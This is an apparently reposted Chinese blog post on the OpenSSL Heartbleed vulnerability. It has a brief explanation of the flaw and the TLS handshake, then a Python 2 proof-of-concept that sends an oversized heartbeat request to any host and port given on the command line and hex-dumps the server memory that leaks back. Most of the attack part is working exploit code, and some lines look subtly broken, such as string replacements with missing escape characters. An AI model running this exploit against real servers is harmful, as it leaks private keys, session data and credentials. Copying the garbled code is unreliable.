我是靠谱客的博主 清爽黑裤,最近开发中收集的这篇文章主要介绍心脏滴血HeartBleed漏洞研究及其POC,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

https://www.cnblogs.com/KevinGeorge/p/8029947.html

一、漏洞原理:

首先声明,我虽然能看懂C和C++的每一行代码,但是他们连在一起我就不知道什么鬼东西了。所以关于代码说理的部分只能参考其他大牛的博客了。   

1 /*
2 据说源码中有下面两条语句,反正我也没看过源码。
3 */
4 buffer = OPENSSL_malloc(1 + 2 + payload + padding);
5 bp = buffer;

还是据说payload这个部分其实是length的值,以上如果都是对的话(事实上以上就是对的),那么在申请内存时候压根就没有检查大小好吗?这不就可以把后面的内存内容包含进来了嘛。

还是说回正题:

TLS/SSL协议简介:

过程:

1-》客户端发送包1:ClientHello

2《-服务器返回包1-2:ServerHello + [Certificate*、ServerKeyExchange*、CertificateRequest*]   => ServerHelloDown

3-》客户端发送包2:[Certificate*、ClientKeyExchange*、CertificateVerify*、ChangeCipherSpec] =》Finished

4《-服务器返回包3:[ChangeCipherSpec] => Finished

5《--》双方交流数据

典型的v1.2正常场景

 

这是典型的攻击场景抓包v1.1漏洞版本

 由此可见:在v1.1版本中进行在收到serverhello数据包之后发送精心构造的heartbeat包进行攻击

正常心跳包

攻击心跳包:

关键字节

 

修改这个地方,就以为这修改length。返回包heartbeat Response长度就会不一致。

也就是泄露了内存。

18 --》content-type:heartbeat(24)

03 02 --》version

03 --》Length

01 --》request

60 00 就是payload了 ,你要读取的长度(一般应该是20 00)

 

所以poc就可以如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import time
import chardet
import struct
import socket
import select

def String_To_Binary(content):
    return content.replace(' ','').replace('n','').decode('hex')

'''
报文结构参考:http://blog.csdn.net/qq_32400847/article/details/58332946
'''
HelloPacket = '''
16030200dc010000 d803025343 5b 909d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 
cc 16 0a 85 03  90 9f 77 04 33 d4de000066c014c00ac022c0210039003800880087c00fc00
500350084c012c008c01cc01b00160013c00dc003000ac013c009c01fc01e00330032009a0099004
50044c00ec004002f00960041c011c007c00cc002000500040015001200090014001100080006000
300ff01000049000b000403000102000a00340032000e000d0019000b000c00180009000a0016001
7000800060007001400150004000500120013000100020003000f001000110023 00 00000f 00 0
1 01
'''    

def HexDump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b: b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
        print ' %04x: %-48s %s' % (b, hxdat, pdat)
    print

def RecvAll(socketobj, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        read, wait, error = select.select([socketobj], [], [], 5)
        print 'read: ', read
        if socketobj in read:
            data = socketobj.recv(remain)
            if not data:
                return None
            rdata += data
            remain -= len(data)
    HexDump(rdata)
    return rdata

def RecvMsg(socketobj):
    hdr = RecvAll(socketobj, 5)  
    if hdr is None:
        return None, None, None
    type, version, length = struct.unpack('>BHH', hdr)
    payload = RecvAll(socketobj, length, 10)
    if payload is None:
        return None, None, None
    return type, version, payload

def Hit_Hb(socketobj, target):
# global target
    socketobj.send(String_To_Binary(KeyPacket))
    while True:
        print "[+] receive data..."
        type, version, payload = RecvMsg(socketobj)
        if type is None:
            print "[-] %s |NOTVULNERABLE" % target
            return False

        # TLSv1.1 Record Layer: EncryptedHeartbeat
        # Content Type: Heartbeat (24)
        # Version: TLS 1.1 (0x0302)
        # Length: 19
        # Encrypted Heartbeat Message
        if type == 24:
            if len(payload) > 3:
                print "[*] %s |VULNERABLE" % target
            else:
                print "[-] %s |NOTVULNERABLE" % target
            return True

        if type == 21:
            print "[-] %s |NOTVULNERABLE" % target
            return False

def Do_openSSL_Test(target, port):
    socketobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socketobj.connect((target, port))
    socketobj.send(String_To_Binary(HelloPacket))

    while True:
        type, version, payload = RecvMsg(socketobj)
        if type == None:
            return
        if type == 22 and ord(payload[0]) == 0x0E:
            break
    # sys.stdout.flush()
    print "[+] send payload: %s" % KeyPacket
    socketobj.send(String_To_Binary(KeyPacket))  # Malformed Packet
    return Hit_Hb(socketobj, target)  # ------------- *********


if __name__ == '__main__':
    ip = sys.argv[1]
    port = sys.argv[2]
    size = sys.argv[3]
    KeyPacket = "180302000301%s000"%size
    HelloPacket = str(HelloPacket).replace("","").replace("n","")
    KeyPacket = KeyPacket.replace("","").replace("n","")
    Do_openSSL_Test(ip,int(port))

报文结构部分如下参考http://blog.csdn.net/qq_32400847/article/details/58332946(特此鸣谢)

"""
HelloPacket = [
    # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
    "16"  # Content Type: Handshake (22)
    "0302"  # Version: TLS 1.1 (0x0302)
    "00dc"  # Length: 220
    # Handshake Protocol: Client Hello
    "01"  # Handshake Type: Client Hello (1)
    "0000 d8"  # Length (216)
    "0302"  # Version: TLS 1.1 (0x0302)
    # Random
    "5343 5b 90"  # gmt_unix_time
    "9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes
    "00"  # Session ID Length: 0
    "0066"  # Cipher Suite Length: 102
    # Cipher Suites
    "c014"
    "c00a"
    "c022"
    "c021"
    "0039"
    "0038"
    "0088"
    "0087"
    "c00f"
    "c005"
    "0035"
    "0084"
    "c012"
    "c008"
    "c01c"
    "c01b"
    "0016"
    "0013"
    "c00d"
    "c003"
    "000a"
    "c013"
    "c009"
    "c01f"
    "c01e"
    "0033"
    "0032"
    "009a"
    "0099"
    "0045"
    "0044"
    "c00e"
    "c004"
    "002f"
    "0096"
    "0041"
    "c011"
    "c007"
    "c00c"
    "c002"
    "0005"
    "0004"
    "0015"
    "0012"
    "0009"
    "0014"
    "0011"
    "0008"
    "0006"
    "0003"
    "00ff"
    "01"  # Compression Methods
    # Compression Methods (1 method)
    "00"  # Compression Method: null
    "0049"  # Extension Length: 73
    "000b"  # Type: ec_point_formats
    "0004"  # Length: 4
    "03"  # EC point formats length: 3
    # Elliptic curves point formats
    "00"  # EC point format: uncompressed (0)
    "01"  # EC point format:ansix962_compressed_prime
    "02"  # EC point format:ansix962_compressed_char2
    # Extension: elliptic_curves
    "000a"
    "0034"
    "0032"
    "000e"
    "000d"
    "0019"
    "000b"
    "000c"
    "0018"
    "0009"
    "000a"
    "0016"
    "0017"
    "0008"
    "0006"
    "0007"
    "0014"
    "0015"
    "0004"
    "0005"
    "0012"
    "0013"
    "0001"
    "0002"
    "0003"
    "000f"
    "0010"
    "0011"
    "0023 00 00"  # Extension:SeesionTicket TLS
    "000f 00 01 01"  # Extension:Heartbeat
]

# ---------TLSv1---[Heartbeat Request]------------
KeyPacket = [
            # TLSv1.1 Record Layer: HeartbeatRequest
    "18"    # Content Type: Heartbeat (24) ----(0x18)
    "0302"  # Version: TLS 1.1 (0x0302)
    "0003"  # Heartbeat Message:
    "01"    # Type: Request (1) (0x01)
    "2000"  # Payload Length: (16384) (0x4000)
]
"""

 

最后

以上就是清爽黑裤为你收集整理的心脏滴血HeartBleed漏洞研究及其POC的全部内容,希望文章能够帮你解决心脏滴血HeartBleed漏洞研究及其POC所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(78)

评论列表共有 0 条评论

立即
投稿
返回
顶部